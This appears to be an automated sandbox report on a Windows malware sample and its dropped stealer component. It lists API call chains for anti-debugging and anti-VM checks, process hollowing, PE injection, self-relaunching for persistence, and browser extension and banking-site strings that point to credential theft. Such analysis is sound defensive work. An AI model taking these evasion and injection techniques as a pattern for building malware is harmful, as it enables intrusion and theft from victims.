Code function: 6_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

6_2_00481920

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		2_2_0040E670
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		6_2_0040E670

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-45119

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe TID: 1780	Thread sleep time: -700000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe TID: 6048	Thread sleep count: 157 > 30			Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: build2.exe, 0000000A.00000002.3339219475.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware*W
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: g0Zq7nJjus.exe, 00000002.00000002.2111350067.0000000000639000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2122715284.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000632000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000843000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2212050719.0000000000842000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339219475.0000000000842000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000003.2266926446.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: g0Zq7nJjus.exe, 00000002.00000002.2111350067.00000000005D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: g0Zq7nJjus.exe, 00000006.00000003.2122715284.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: g0Zq7nJjus.exe, 00000002.00000002.2111350067.000000000061D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}lyh
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: build2.exe, 0000000A.00000002.3339219475.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: g0Zq7nJjus.exe, 00000002.00000002.2111350067.0000000000639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: build2.exe, 0000000A.00000003.3297996254.0000000003196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

API call chain: ExitProcess graph end node

graph_2-45121

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_024FB71C rdtsc

0_2_024FB71C

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_00424168 _memset,IsDebuggerPresent,

2_2_00424168

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

6_2_00481920

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

2_2_00412220

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_024FA0A3 push dword ptr fs:[00000030h]	0_2_024FA0A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02660042 push dword ptr fs:[00000030h]	0_2_02660042
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_025440A3 push dword ptr fs:[00000030h]	5_2_025440A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E0042 push dword ptr fs:[00000030h]	5_2_026E0042

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_004278D5 GetProcessHeap,

2_2_004278D5

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,	2_2_004329BB
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004329EC
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004329BB SetUnhandledExceptionFilter,	6_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_02660110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_02660110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Memory written: C:\Users\user\Desktop\g0Zq7nJjus.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Memory written: C:\Users\user\Desktop\g0Zq7nJjus.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Memory written: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Memory written: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Memory written: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Memory written: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Section unmapped: C:\Windows\SysWOW64\icacls.exe base address: 400000

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe C:\Users\user\Desktop\g0Zq7nJjus.exe	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\Desktop\g0Zq7nJjus.exe "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Process created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe"
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_026880F6 cpuid

0_2_026880F6

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_026A0AB6
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_0268C8B7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_0269394D
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_026949EA
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_02693F87
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_2_0043404A
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00438178
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00440116
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004382A2
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0043834F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00438423
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: EnumSystemLocalesW,	2_2_004387C8
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: GetLocaleInfoW,	2_2_0043884E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	2_2_00432B6D
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	2_2_00432FAD
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004335E7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_00437BB3
